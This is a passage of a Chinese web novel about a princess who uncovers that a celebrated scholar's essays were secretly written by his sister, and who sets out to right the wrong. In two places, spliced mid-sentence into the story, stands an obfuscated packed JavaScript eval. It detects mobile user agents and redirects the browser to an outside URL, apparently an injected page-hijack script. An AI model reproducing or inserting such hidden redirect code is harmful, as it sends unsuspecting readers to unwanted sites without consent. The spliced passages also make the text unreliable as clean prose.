许曦抱着手里的“书山”慌忙去接,让那册书落在“山顶”上,“我们快走吧,我就要抱不住了。” 林懿山回头看她,她本是极淡的眉眼,却被妆点得艳丽,但并不怪异,反倒像开得极盛的梨花,一笑更添妖丽。 “哎,等等。”许知礼匆忙拦住她们。 “做什么?”林懿山挑着眼看她,“方才你不是还喊着要走?”许曦也跟在她身后,从“书山”后探出疑惑的目光。 “等一下嘛。”许知礼凑近,小声道,“那边。”她手贴在身侧隐晦地指着某个方向,“那边进去就是举子楼哎,咱们去看看吧。” 举子楼不是什么写在招牌上光明正大的名字。 这是全京城最大的书坊,售书门类不限,打发时间的话本杂书有之,更多还是供学子研习的经略习策,日子久了门面扩大,另备出了供人论学讲道的楼阁,文人雅士多聚于此。 但此处不向外打招牌,若不是生意做得太好,恐怕也少有人知。书坊只管供茶供水,不让人闹事,至于学子如何说得天花乱坠、口若悬河都不在意。 偶尔也能在楼中碰见些显宦贵臣,是以也曾出过几个一朝得眼平步青云的先例,胜过寒窗苦熬的平常学子不知多少。 “举子楼”的诨名也就这么在暗中传开了。 三人往楼中去,举子楼建成长柱,仰头看去仿若通天。从高到看不见的地方垂下雪白柔滑的长绢,其上有墨色题下今日可辩的题目。 绢外又有小亭,亭中放着学子自发交上的论稿,再多的则张到亭边围成圈的一人高的木牌上,供往来散客闲看。 再往外就是星罗疏散、不拘邻座是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317550|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的散台和层层供人会客会友的雅间厢房。 三人没往里去,只在外圈绕着观望站在正中侃侃而谈的学子。 “哎,你哥!”许知礼忽然拽住许曦的袖子。 许曦下意识转头看过去,确实是许熙,甚至......正好对上视线。 许熙被人簇拥着看长在板上的论稿,他背着手,眉眼间隐约闪过不耐和烦躁,心不在焉地往四周瞟,却瞟见了一张熟悉得过分的面孔。 他心底惊疑,不动声色地用余光观察,正好和那人对上视线。看着“他”让人眼熟的一连串闪躲、心虚的眼神和想往别人身后躲的动作,许熙哼笑一声,又好气又好笑,背在身后的手几不可见地动了动。 旁边的人正好瞧见他眉舒眼笑的一幕,忙趁这个机会道,“殿下,您看这张。这,非但提出治水要修坝建库、设立专司,还着重强调堵不如疏的基本方法要在遵循物律、因势利导之上,不可强来。是个妙才啊!” 许熙囫囵扫过他手指的那张论稿,唯一引起他注意的只有落在最后的名字——白通学。 妙才? 许熙嘴角勾出一个轻慢的弧度。 他看是庸才。 这个人他认识,今年的探花,长得还说得过去,被点为四公主的驸马,不日就要成为他的妹婿。 他也跟这人见过几面,不知是得意忘形还是本性如此,在他左右满嘴油滑奉承、溜须拍马,甚至蹩脚得可笑。 浅薄聒噪、惹人生厌。 一想到这种人竟然能尚公主,公主里头还有自己的宝贝妹妹,许熙看见他就心烦头痛,此时更是不想多言。随意丢下几句还算体面的话就从书坊撤了出来。 出门上了车架,许熙吩咐另找个人少的地方停着。 不大会儿功夫,谢稳就带着许曦三人出现了。 谢稳立在车边,恭顺地弯腰为三人挑起车帘,只是脸上笑吟吟透着看戏意味的表情实在挑衅。 “哥哥......”许曦乖巧地爬上车,双手安分地放在膝头,正襟危坐。 她已经恢复本来面貌,此时乖巧地仰脸甜笑,“哥哥好啊。” 许熙提壶倒了盏茶,不置可否地应了一声。 “小殿下,那谢某呢?”谢稳忽然出声道。 “你?”许曦倏地变脸,瘪着嘴赌气道,“哥哥好,谢稳不好。” 真是倒霉,明明自哥哥离开学堂跟着太师学习后谢稳就不怎么跟着了,怎么今日偏偏跟来了?倘若换成萧路林中任何一个,不说不被抓到,至少不能这么快就束手就擒。 许熙轻笑一声,将茶推到许曦面前,“说说吧,怎么回事?” 许曦一愣,扭头看了一眼笑盈盈的哥哥,又往左看看许知礼,收获了天底下最纯粹不过的懵懂无知,又向右看看林懿山,想起了自己对天发过的誓。 她抿抿嘴,深吸一口气,忽然扑在了许熙膝上,半真半假地哭嚷着,“啊啊.......你打死我吧!呜呜呜........但是你得下手轻一点,真打死了你就没有妹妹了。呜啊呜啊.......把我打死了你肯定会为我哭瞎眼睛的,到时候你就后悔去吧......呜呜呜......瞎了眼,你的太子也不用当了,变成乞丐破落户,连给我烧的纸都买不起,让我死了都没钱用,啊啊啊.......哥哥,我好可怜啊......” “哥哥......哥哥.......”许曦埋着脸,听着越嚷越委屈,“我好可怜啊......好好好可怜呐......哥哥.......” “停。”许熙忽然道。 许曦猛抬头,眼睛不见一点异样,原来刚刚全是干打雷不下雨装出来的。 但许熙还是捂住了她的嘴,无奈道,“我不问了。” 他捏着人手臂把人提起来做好,轻叹了口气,“再者,怎么又胡诌?我几时碰过你一根手指头?再有几年也该及笄了,还跟个孩子似地。” 许曦不以为意地捧起茶盏吹了吹,又从案上玉盘中拣了个长得合心意的点心塞在嘴里,含混不清道,“有哥哥在嘛,我就是一辈子当孩子也不妨碍什么。” 许熙眼含笑意,瞧着她吃完嘴里的又伏在案上挑挑拣拣,搭在案边的手翻过来叩了两下,“梆梆”。 许曦回眼看他,许熙顶着和从前说什么“好好上学也不会死掉”“好好练字也不会死掉”的鬼话时如出一辙的笑容,缓缓道,“死罪可免,活罪难逃。” 13. 第十三章 “嗯?”许曦瞪大眼睛,匆忙将吃到一半的点心和茶水一扔,又要再扑过来,略大的衣衫在她身上松松垮垮地挂着,“哥哥!我几时受过罪啊!” 许熙一指头推开她挽着少年发式的脑袋,“免谈。” “唔......”许曦耷拉着脑袋坐回自己位置,再抬头又变成了一副有如秋风扫落叶般冷酷的表情,大有要和自己同样有如秋风扫落叶般冷酷的亲哥割席的架势。 过半会儿,她忽然抱着双臂道,“谢稳,我错了。” “嗯?”谢稳有些意外,带着些兴味问,“小殿下如何错了?” 许曦答得干脆利落,“谢稳不好,哥哥也不好。” 行吧,谢稳勾唇点点头,至少这次没有差别了。 回到东宫,许熙慈悲地放过两个从犯,将“罪大恶极”的主谋关进了书房,并勒令她在酉时前写出两篇策论来,还威胁倘若应付了事就着人看紧她,至少之后的一个月都不用再去想出宫的事。 酉时?两篇策论? 许曦叹出一口长气,软骨头似地躬弯了腰,恨不能一头碰死在桌上。 谁爱写谁写,反正她是不会写的,至少现在不会。 她起身饶有兴致地参观起书房,好像第一次来似地。 这书房真书房啊,这桌子真桌子啊,这笔真笔啊,这册子真册子啊,这字真字啊,这......哎? 她凑近仔细看,确认在她哥一向严肃得只摆公文典籍的书桌上躺着一张印着花卉虫鸟的漂亮信笺,水红的底色比桃花瓣更娇嫩。 她换了个方向观察,没见封口,应该是要往外送的,不是从别人那里收来的。 这就放心了。 许曦偷笑,大摇大摆坐在了桌前,毫不客气地拿起放在眼前。 在看之前,许曦忽然想起什么,煞有其事的念了几句“罪过”,结果一打眼就被她哥的酸诗“恶心”到了,剩下的更是不能再看。 “咦——”许曦嫌弃地把信拿远,撇着嘴,心道她哥怎么还有这副面孔,这么黏牙肉麻。忽然想到在马车上许熙音色淡淡说的那句“死罪可免,活罪难逃”,许曦勾唇冷笑。 哈,装货。 “死罪可免~活罪难逃~”许曦一边阴阳怪气,一边从桌上翻出张新信笺,舔了舔嘴唇,心道这次哥哥算是栽在她手上了,她要让他知道,“恶事”做多了是会有报应的! 这些年她模仿许熙的笔迹可谓是惟妙惟肖,真假难辨,无人能出其右。 寥寥几行字一写,连同刚刚的那张一并塞进信封。许曦满意地一弹,随手扔在桌上,只等她的傻哥哥回头把信给人家姑娘送去。 把桌子恢复成没人动过的样子,许曦接着在书房里散步,晃了半天,扭脸一看天色。 呀,怕是已经过了申时。 许曦急忙回到自己桌前,端笔托袖,识时务者为俊杰。 一个时辰,两篇策论,她目光坚定,够了。 酉时,许熙分毫不差地出现在书房里。 看了许曦交上的策论,他轻笑一声,“不错,还算合格。”说完往自己桌前去,手也伸出要去拿什么。 许曦瞬间提起一口气跟上他,见他从桌边拿出了一本陌生的册子才偷偷把那口气吐出去。 许熙没注意到这一切,垂眸翻到需要的那面,递给许曦,“我有更好的,看看吗?” “更好的?”许曦毫无犹豫地接了下来,拿在手里定睛一看,这册子似乎是时文。 她随手翻了翻,历年的时文她都有印象,今科的更是刚刚看过,但是手里的这一册明显不在列。 翻回到许熙刚刚递过来的那一面,许曦沉着眉眼细细研读,越读眼睛越亮,手也越收越紧,读到最后,整册书都被她紧紧抱进了怀里,她眼底亮闪闪都是兴奋和激动。 这篇策论的题目和许熙留给她的一样——论水患,但内容水准远在她之上。 行云流水、字字珠玑,行行机敏,以基本的设立水官、修建堤坝、疏浚河道做铺垫,引出分级蓄洪、错峰排涝、以工代赈、跨州县联防联控一连串独特构想,且都有切实可行的空间。 虽然她对地方风貌、州县布置的了解相对薄弱,但是她指尖摩挲在纸页上慢慢滑动,心中莫名生出一股执念。 只消把这册子往山野里一扔,定如话本里讲的厉害符纸驱散鬼怪一般,她大穆永不受水患侵扰。 “如何?”许熙忽然把她怀里的书册抽走。 许曦慌忙去夺,抢回怀里,兴奋道,“大才!此女子有大才!” “女子?”许熙手上动作一顿,纳闷地看着妹妹,“你是如何看出是女子的?”他细细回想了一下,确定手下人还没有查出这个人是男是女。 “唔.......”许曦语塞,蛮不讲理道,“就是女子!我觉得是!” 她这样说,许熙也不跟她犟,点点头随她去。 许曦看宝贝似地把书册打开又看了看,看到最后落的名字,“白,明,了。”她咧着嘴嘿嘿笑,名字也好听。像被迷了魂似地。 她打开看一眼,又打开看一眼,“白明了,这名字有意思。” 许熙看她这样,哼笑一声,“这样的名字还有一个。” “谁啊?”许曦顺嘴问了一句。 “白通学。”许熙道,“今科探花,四皇妹的未婚夫婿。” 许熙的四皇妹,许嫣,封号长乐,长在静妃膝下,今年刚刚年满十六。 “白通学?”许曦念了一遍,乐了,“怎么?白学了吗?那是怎么考上探花的?” 许熙却是皱眉,“差不多吧,不知道是如何做出的文章,考的功名。” 许曦哈哈大笑,胡说八道,“兴许是考场上睡着了,神仙托梦吧。”她又问,“你这册子是哪儿来的?” “自然是买来的。” “何处买来?” “就在白日那书坊。” 许曦将册子一卷揣在怀里,“先借我,改日还你。”话音落下,人已一溜烟跑出书房。 许曦认定这书册的主人必是女子。 她认识的女子皆是人间麒麟儿,夙慧天成,咳唾成珠,这书册的主人凭什么不是女子? 这么优秀的女子,她不论如何都得想办法结识一二。 她想了个笨办法。 隔日一早就蹲在了书坊对面的大树上,仔细观察着来来往往的每个人,试图在茫茫人海里慧眼识英雄,一眼认出她的真命天女。 一直守到快正午时分,真命天女没看见,倒是看见了一个熟悉的身影。 等到那人走近,许曦掏出随身的紫木弹弓——许知礼今年送的生辰礼,瞄准,蓄力,松手。 一颗圆润粉白的珍珠正打在那人肩头。 谢稳肩上一疼,瞬间回头,凛冽的眼风刚起就跟着地上溜溜打转的珍珠散开,蜜似地涂抹一地。 他轻笑一声,蹲下身捡起沾了灰的珍珠,仔细擦拭干净揣在袖里,一歪头就看见珍珠来的方向。 许曦正蹲在树杈上无声向他招着手。 他眉舒眼笑,背着手转身钻进条无人的小巷,没多会儿功夫就出现在了许曦身后拍她肩膀。 “小殿下在这里做什么?”谢稳问。 许曦挑着眼,“蹲人。” “蹲谁?”谢稳追问。 “蹲一个来卖书的大才女!”许曦眼角眉梢都是笑意和期待。 谢稳笑,“那小殿下叫我上来是......” “多一个人,多一双眼睛啊。”许曦理直气壮道,瞧着谢稳的眼睛满满写着怎么连这也想不明白,“万一我看错过了怎么办?” 谢稳眼睛更弯,“小殿下,是谁告诉您在这能蹲到卖书的人的?”他一手扶着树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317551|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干,一手痛心疾首地锤着胸口,“实在无耻!怎能如此欺瞒小殿下!小殿下可一定不要放过他啊!真真是心怀不轨、居心叵测......” 他笑得乐不可支,最后“哎呀哎呀”地连话都说不出来。 许曦抱着双臂不愿意看他,只微微偏过头用透亮的眼珠斜睨,“那你说,该在哪儿蹲人?” 谢稳倚在树干上,勾着笑脸懒洋洋一抬手臂,修长有力的手指往某个方向一点,人就跃了出去,几个呼吸间落在了书坊侧门边的树上,许曦紧随其后。 他回头笑盈盈道,“小殿下的‘飞’学得不错啊。” 许曦白他一眼,凝神去盯下面的门。 两个人一守守到了日落西山,谢稳看了眼天色,又去看许曦,“小殿下,咱们明日再来?” 许曦轻轻一点头,“蹲点二人组”临时解散,各回各家。 回到东宫时,最后一丝暮色落下,许曦脚步不停往地往太子寝殿偏厅去,这个时候哥哥多半正在用晚膳。 果然,犹如凝脂般润白的窗纸融了一点流蜜似的黄,推开门,许熙正坐在桌边,桌上的膳食刚摆上不久。 “哥哥。”许曦俯腰撑在桌上,目光如炬,“我要办成一件大事!” 许熙先是挑着眼看了她一眼,接着盛了碗甜汤放在她面前,“先喝点汤水再说。” “哦。”许曦顺势坐下,捧着碗不间断地喝下半碗才放下,眼睛亮晶晶的,有点窃喜的意味,“我要把白明了找出来!” 许熙一只手撑在桌上托着半边脸,望着妹妹的眼睛弯成月牙,“怎么找?” “既然白明了在书坊卖书,那就在书坊守着嘛,肯定能守到的。”许曦信誓旦旦道。 “那你就拉着人家阿稳陪你在树上蹲了一天?”许熙眼底笑意更深。 许曦瞪大眼睛,“你怎么知道的?!” “手底下人报上来的。”许熙轻描淡写道。 “嗷.......”许曦情绪低落地垂下头,有些委屈地撅起嘴,“那就是哥哥已经在派人守着了呗?倒是我多事了.......” 许熙眉眼微扬,唇边又勾出一抹温柔的浅笑,“可是我的人守了好久都没有守到。” “嗯?”许曦挑起一只眼,一点点欣喜渐渐弥漫,“那......” “也许好好会在我之前找到白明了?”许熙替她把话说出来,微眯起眼看向远处,一副在认真思考的样子。他视线转回,正对上许曦惊喜兴奋的目光,“好好觉得呢?” 许曦一副得了便宜还卖乖的模样,翘着唇角,“我觉得会。” “好了,用膳吧。”许熙握着象牙筷在瓷碟上一敲。 “叮”一声轻响,许曦眉开眼笑地拿起自己的那双筷子,甚至在心中莫名生出一种吃得越多找得越快的执念,不及咽下嘴里的饭菜,眼睛已经盯上了下一处要下筷的地方。 许熙眼角微弯看她吃饭,偶尔添上半碗甜汤控制一下她进食的速度。 “好好今日在宫外有好好用膳食吗?” “有,谢稳下去街上给我买来小食,我俩一起在树上用......” 许曦还有学堂要去,“蹲人大业”只能是三天打鱼两天晒网。 还好有谢稳在。 谢稳日日不及书坊开门就守在了书上看守,兢兢业业,风雨无阻,毫无怨言。 这日向晚,许曦下了学堂来找谢稳。 这个时辰,书坊也将近打烊,许曦懒散倚着树,心不在焉地和谢稳有一搭没一搭地聊着今日学堂里来了谁,走了谁,又闹了什么笑话云云,诸如此类的琐事。 眼见书坊落灯落锁,许曦打了个哈欠,打算和谢稳说一声回宫去。 正在这时,忽然从小巷中钻出一个浑身湿透,裙摆滴着水的女子,连发丝都湿淋淋的,偶有凌乱的几缕贴在颊边,唇色苍白。 14. 第十四章 那女子毫不犹豫地往书房侧门来。 许曦好奇地盯着她,她几日来守着书坊,常来去的人基本都能眼熟,可这个奇怪的女子却是第一次见。 再者,既不是书坊的人,落了水不快赶回家去换衣暖身,跑来关门的书坊做什么? 那女子走近,看清了门扉上落的铜锁,但不见失落,也不转头折返,只是静静伫立在门前。 灯笼昏黄看不清她脸上神情,从许曦的角度只能看清她苍白削尖的下巴,长发如水草贴在颈上,肩线削薄,衣裙灰朴,好似一座生尘的旧蜡像,生根在生人门前,鬼气森然。 有风过,有闲言碎语响在半条街外听不清,有水珠从女子指尖“滴答”砸在青石板上。 她忽然动了,转身往来的方向去,在地上拖出一条湿漉的水痕。 许曦终于看见她的眼睛。 幽黑深邃,明明灭灭,像途遇在野径的一匹瘦骨嶙峋的灰狼,你看见她凸起似弓的脊骨,她凌乱打结的皮毛上化不去的冷霜,她深陷的眼窝里一簇渗亮的鬼火。 她紧抿着唇,眉眼决绝,离开的方向和书坊截然相反,但她和身后的书坊不再能拆分。 直觉告诉许曦,那书坊有什么,有什么对那个女子如血肉附骨的东西,剥下须得嘶喊到奄奄一息,血泊千里,但她头都没回地走了。 许曦看了一眼谢稳,谢稳早有预料般轻笑,“小殿下,再不跟上,人就走远了。” 两道身影从树梢提息跃起,脚尖一点落在人家瓦檐上。 女子钻进幽暗的小巷,从怀中的油布包袱里掏出一件长斗篷披上,一路贴着墙边走,躲着行人,鬼魅似地飘忽出现在街头巷尾,最后停在了城门。 城门已关。 女子拽了拽宽大的帽檐,遮掩面目,闪身又钻回巷子,七扭八拐地寻到了一间不大的客栈打算住店。 许曦和谢稳跟到门外,见女子付了钱往里间走,也准备离开。 许曦打算明日再来看看,有种说不清的感觉让她认定,这个女子非跟不可。只是......她不动声色地瞥了眼谢稳。 “小殿下。”谢稳忽然道,“不若先把书坊的事放放,先跟着这个女子瞧瞧?” 许曦回头看他扬着眉眼,笑如春阳,心道又被他猜中了。忽然又心思一转,这人不作弄人的时候脾气确实好,不论是什么都应,幸亏她是个不欺负人的大好人。不过......这般脾性,能辅佐好哥哥吗? “小殿下?”谢稳见她眼神忽然变得空渺就知道肯定又神游天外去了,唇畔带笑。 “啊?”许曦眨眨眼,茫然地看向他。 谢稳弯着眉眼正要说些什么,异变突生。 “在这!” 一队穿着粗布短打的大汉冲进小客栈。 为首的夺过柜上的册子,哗哗翻到想要的名字,回头粗声喊,“就在上面!你们去把人带下来!” 一伙人吵吵嚷嚷奔上楼去,不多会儿功夫,半是恭敬半是胁迫地把刚刚的女子带了下来。 女子湿透的衣裳尚未换下,被几个粗壮的男人围在中间,眉头紧皱。下来之前恐怕和他们之间也多有争执,发丝更凌乱了些,好不狼狈,垂在身侧的素手攥紧,指尖发白。 许曦面色一紧就要跳下去,却被谢稳拉住,她皱眉回头,“你......” “小殿下戴上这个。”谢稳往她手里塞了个半面,正面鎏金,边缘錾了一圈缠枝花纹,眼尾各镶了一颗泪珠大的鸽血红宝石。 他前几日看街边叫卖面具,下去挑了挑,觉得不够好,差人打了一个,本想今日拿来送给许曦,没想到竟在这种时候派上用场。 许曦接下来戴在脸上,飞身下去揽住女子肩膀,削瘦的肩头正好叩在手里。 她的手从肩头游走到腰身,人顺势绕着女子转上半周,将她周身的大汉全部踢踹出去。接着手臂收紧,揽住女子腰肢腾空而起,几个跳跃间就不见了踪影。 为首的大汉见势想喊,指挥其他人追上,却被谢稳一长凳拍在后脑,两眼一翻晕倒在地。 其他人顿时围上来察看伤势,群龙无首,不知道是该回去报告,还是去追赶被带走的女子。 谢稳扔了条凳,哼笑一声,拍拍手,一跃身也很快不见了踪影。 他倒是不担心找不到许曦二人。 早年间,许曦、许知礼、谢稳、江家姐妹、太子、林懿山几人图好玩,合资在京中购置了一套宅院,虽然只偶尔来住,但平日里也有仆役看顾维护。 落在院子里,谢稳一眼就看见了坐在堂上的女子和正给人家添茶倒水的许曦。 他轻笑,好好这是老毛病又犯了。 许曦殷勤地给女子递上热茶,眼睛亮晶晶的。 女子接过热茶,白雾蒸腾在她面前,一张莲花面若隐若现。柳眉细长秀美,有几分娇柔,却偏偏生了一双极沉静的桃花眼,不见多情,倒显冷意,唇颊颜色皆淡。 春寒料峭的薄春月。 许曦美滋滋地围着她转,嘴角快咧到耳根。 “小......”谢稳喊她,“好好。” 他走到两人身前,端是一副人前落落大方的模样,“方才匆忙,还不知姑娘名讳?” 女子敛着眼睫,虽然这二人刚才救她于急难中,但她眼角眉梢仍带着提防,“白明了。” 许曦一愣,眼睛瞪大了些,又和谢稳对了个眼神,“姐姐真是白明了?” 她这个反应,让女子也多看了她一眼,“有什么不对吗?还是说,和你们认识的某个人撞了名字?” 许曦收起方才那副见色眼开的作态,凝神端详她神色,缓缓道,“其实我二人从书坊开始就一直跟着姐姐了。” 白明了动作一僵,眉毛几不可见的一颤,不等她恢复从容神态,又听许曦道,“所以,我想知道,姐姐是书坊的那个白明了吗?” 白明了端着茶盏的手绷紧,面上仍是风轻云淡,“是如何,不是又如何?” “是的话,我想将姐姐引荐给我哥哥。”许曦道,“不是的话,不是的话......”她声音渐小,“不是就不是吧。” 她说话的间隙,白明了用余光观察着这二人。 即便是更年长的这个男子,估计年纪也在自己之下。这两人相貌顶好,礼仪到位,只看女孩脸上那张精巧华丽的金面具也能窥见二人不一般的出身。再加上那句“书坊的白明了”...... 她卖予书坊的多是应试用的时文,换句话说,能这么熟悉“白明了”这个名字的多半是要准备科举的举子,其中不乏锦衣玉食者。可如果再往上一层,未必没有能直接参与政事的人。 不知道这两人是前者还是后者。 白明了的目光逡巡在二人身上时,谢稳的目光也带着冷意同样审视着。 这尚不知真假的白明了实在古怪。 看着应有双十年纪,但仍是未出阁的打扮。照常理,这个年纪的女子多半已经出嫁,即便是为人母者也不在少数。 此为一怪。 一身湿衣出现,若不是在书坊前耽误了一会儿,多半是要这样就出城去。 此为二怪。 一路躲躲闪闪,极力避免被人注意到,后被一伙家丁模样的人试图强行带走。 这是三怪。 许曦说完,见白明了没应话,于是借面具的遮掩也观察起来。 只是她这一看和谢稳不同,没有敌意。 她自幼就在识人上显现出幼兽避险般的惊人直觉,从太平书院带回来的林懿山就是一个有力的证据。 是以许熙从不干涉她这一点,至多只偶尔提到一些最基本的经验之谈。 他原话是“虽说好好平日里好颜色了一些,可也没错认 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许曦皱起眉头,下意识把头挪远了一点,在维护哥哥的根本原则上,她的态度一直都很坚定,“我哥哥自是有本事把那些都变成真的。” 白明了笑了,拨开云雾见月明的那种笑,“我就是书坊的白明了。你们要找的那个。” “姑娘如何证明呢?”谢稳依旧谨慎。 白明了从包袱中抽出纸笔,洋洋洒洒默下自己曾写过的一篇时文,甚至抛开从前的顾忌展开来写,写如何架桥,如何抚民,如何沟通各县....... 毛笔扔在桌上,湿润的乌墨溅在纸边、袖角,白明了浮出明亮的意气,辉煌似东日初升,“若是你们见过我写的东西,这个就够证明了。” 许曦凑近,指尖抵在一角将纸扯过来,她俯身逐字逐句地看,从前录在纸上的文章好背,但是可付诸实际的巧思难得,比之旧文仿若老树新发、春风又绿。 她回头对谢稳轻轻点了点头。 “姐姐似乎......想出城去?”她又看白明了,“还有,为什么会被人追?” 白明了的目光在她身上凝了一瞬,不答反问,声音很轻,“虽然小姐刚刚帮了我,但我们毕竟是萍水相逢,小姐为什么想知道呢?” 许曦目光灼灼,一瞬不眨地盯着她,“我想帮你。” 白明了不为所动,甚至脸上挂了些称得上轻松的浅笑,“小姐这么信誓旦旦?一定能帮上我?” “公主殿下自然帮得了。”谢稳插进来。 许曦下意识回头看了他一眼,自她知事起谢稳就一直叫她“小殿下”,不论人前人后都很少喊“公主殿下”。 “有我哥哥在,天底下少有我解决不了,帮不上的事。”她补了一句。 白明了眉梢一动,心思活络起来,一个和兄长感情甚笃以至于无所不能的公主,在大穆只有一个可能。 “升平公主殿下?”她问。 “是。”许曦应。 白明了的目光又移到一旁的谢稳身上,“那这位是......?” “长宁侯嫡次子,谢家谢稳。”谢稳朗声报上家门。 谢家有二子,相比要继承爵位的长兄,谢稳在京中要更常走动些,认识他的人也更多。 即便抛却这一点不谈...... 谢稳?白明了看着他,眸子微眯,流露出一些忌惮与警惕。 她知道这个人,当初京营演武场上于一众勋贵中一枝独秀,劈杆中的,名扬满京城。背地里叫他一声“少将军”的大有人在。 她定了定神,敛眸,闭口不谈前缘,只道,“久闻太子殿下贤德仁善,长宁侯磊落光明,若我有冤屈,在二位面前可申得吗?” 15. 一问 许曦一愣,“白通学?” 谢稳跟着重复了一遍,显然他也认识这个人,他问,“白通学和你又是什么关系?” 白明了顿了一下,缓缓道,“是我同父同母的弟弟。” “那你要告什么?”许曦问。 “告他......”白明了声音压得低低的,喑哑中裹着破牢而出的恨意,“笔下文章皆是我所作!所谓高中探花不过是欺世盗名!告白家从上到下无人不知此事,却强关我在家中十几载,日日为同胞弟弟做嫁衣!” “既已埋名十几载,又为什么挑在白通学中了探花、光耀门楣的时候出逃?”谢稳步步紧逼。 白明了眉眼压得更低,“白通学中了探花,甚至因将及弱冠,年少有为,得了皇家青眼,成了公主驸马,我也就没了价值。爹娘唯恐再留我在家中日子久了生事端,决定将我匆匆嫁出。” “所以你就决定逃走?”谢稳问。 白明了终于抬头和两人对视,说出的话铿锵有力,眸子里闪着恃才的骄傲,“既然公主都来寻‘白明了’,想必我写出的东西一定流到了当今太子殿下的手中,甚至为此寻人。对白明了来说,不会有比嫁人相夫更不能走的路了。” 许曦注视着面前的白明了,这个样子的她让她想起宫门前的石兽,冬日里难免有掩在雪中不见面目的时候,但宫人擦净后,依旧是怒目圆睁、威风凛凛。 下意识地,许曦走到白明了面前,轻轻地用一只手捧住了白明了的半张脸。 白明了怔愣,迟疑的目光落在她脸上。 对视的瞬间,许曦轻声许诺,“姐姐,若你一字不假,我必定帮你到底。我觉得,能光明正大和拥有的才华站在一起的你,一定比现在还要好看。” 话放在这里,许、谢二人相继离去,只剩白明了一人在这处宅院里。 白明了凝望着门阖上后消失在视野里的两道背影,心底幽微处闪出些明灭的火光,像未烧尽的纸钱堆底下荧荧的火星,在等一场掀去灰白纸钱继而火光烛天的风。 夜色深重,许曦少有这么晚才回东宫的时刻,径直往书房去,果不其然还点着橙黄色的灯。 门推开,“吱呀”一声,坐在主位上的许熙头也没抬,“回来了?” “嗯。”许曦应了一声,随手拉过一张椅子坐在她哥身边看他在公文上勾勾画画。 椅子有些分量,拖拽在地上发出刺耳的声响。 许熙转过头来,自己这个妹妹生在富贵乡,长在锦绣丛,嗔笑怒骂都是常事,独独没有过的,就是这时的沉重。 “哥哥......”许曦盯着许熙手里的公文发愣,“我找到白明了了。” 许熙整个人都侧过来看着她,“那为什么不开心?我的暗卫今日报上来的还是未果呢。” 许曦的目光依旧散落着,“哥哥,我从前见过的女子,要么如我一般,受尽天底下最万全的教养,礼、乐、射、御、书、数,尽可挥洒天资、睥睨儿郎;要么长在家中,黑白不分地学着过活的手艺,最多不过识得自己的名字。我在宫外见人嫁娶,人人都道贺,彷佛天底下再没有比这更好的事。可降生的女儿没过几年又成了母亲年幼时的样子。” 许熙的眸子沉下来,“坊间女子识字已是少见,读书更是家境殷实的人家也少有的行径,大多时候,出嫁个好人家,相夫教子,的确就是天下女子最好的归宿了。但是......” “倘若她们有那个天资呢!”许曦和她哥对视,眸子亮得有星在闪,“倘若她们有读书、经商、习武的天资呢!倘若她们有行走四方、封侯拜相、勇冠三军的天资呢!” 许熙了然,“好好说的,是白明了吗?” “是。”许曦眼底星星点点着彷佛以身代之的不平,“如此大才的女子,只因为是女子,就要将满腹才华拱手相让吗?!” 许熙目光柔和,带着安抚的意味。 许曦在这目光下慢慢平静下来,一字一句述说着这一桩天底下最不平之事。 听完,许熙沉声道,“好好,这世间女子好比山间溪流,顺势而下。其中汇入江河亦或另一条溪流者有之,投向茫茫汪洋者亦有之。可这二者之间,所相差的不过一个机会。” “机会......”许曦喃喃,继而一把抓住了自家哥哥的手臂,“叫她们也读书吧!” 她甚至翻箱倒柜找出久置不用的木牌,拿起许熙搁在一旁的狼毫一挥而就,上书“叫天下女子尽读书”几个大字,塞给她哥,又重复了一遍,“哥哥,让她们也读书吧!” 许熙颠了颠手里的木牌,“好好还记得之前的规矩吗?” “记得。”许曦点点头。 “好好如今的字已经写得足够好了。”许熙又说,他一顿,带出笑来,“所以,会实现的。” 许曦还没忘记来找她哥的初衷,“那白明了呢?” “白明了啊......”许熙在妹妹头上拍了拍,“既然你跟人家许了诺,我自不会叫你背信弃义。明日我就叫人去落实,若句句属实,我保证,结果会让你高兴的。” 一言既出,第二日许熙就将这事派了下去,甚至借着为长乐公主商谈婚事的名头专程找去白家和白通学聊上一聊,亲自确认这人实实在在就是个酒囊饭袋之流、平庸之辈。 在太子手下的人自然做事麻利,不过半日功夫就探来了邻里皆知白通学自幼聪慧,对白明了其人却是知之甚少,甚至找到早年在白家教过书的夫子问出白家姐弟幼时读书的细节。 两相结合,许熙对于真真假假已有定论。 许曦得了准信,欢天喜地地跑去宫外把一直安置在宅院里的白明了接到宫里,拍着胸脯和人家保证“此冤可申”。 白明了进了东宫见太子,太子一就手边书册问过往策论试深浅,二问旧稿何在。两问过后,白明了自有宫人领出,许熙脸上已是成竹在胸。 “哥哥,你觉得白明了如何?”说是问,许曦脸上满有炫耀宝贝的得意。 许熙倒也不吝赞赏,“此女心有大丘壑。” 拿到白家姐弟的手稿,许熙专意叫来翰林院的学士一一比对,一群白胡子老头看了又看,论了又论,果不其然给出了或有代笔嫌疑的答案。 听到这个,一直坐在一旁悠闲品茶的许熙笑眯眯道,“这手稿,属于今科探花和他不见经传的长姐。” 许是年纪大了,为首的掌院学士捋着花白的胡子神在在地自语,“怪道那时奇异探花郎一介男儿行文竟显出更多在女子身上的婉约内敛,以至于只得了探花的名次......” 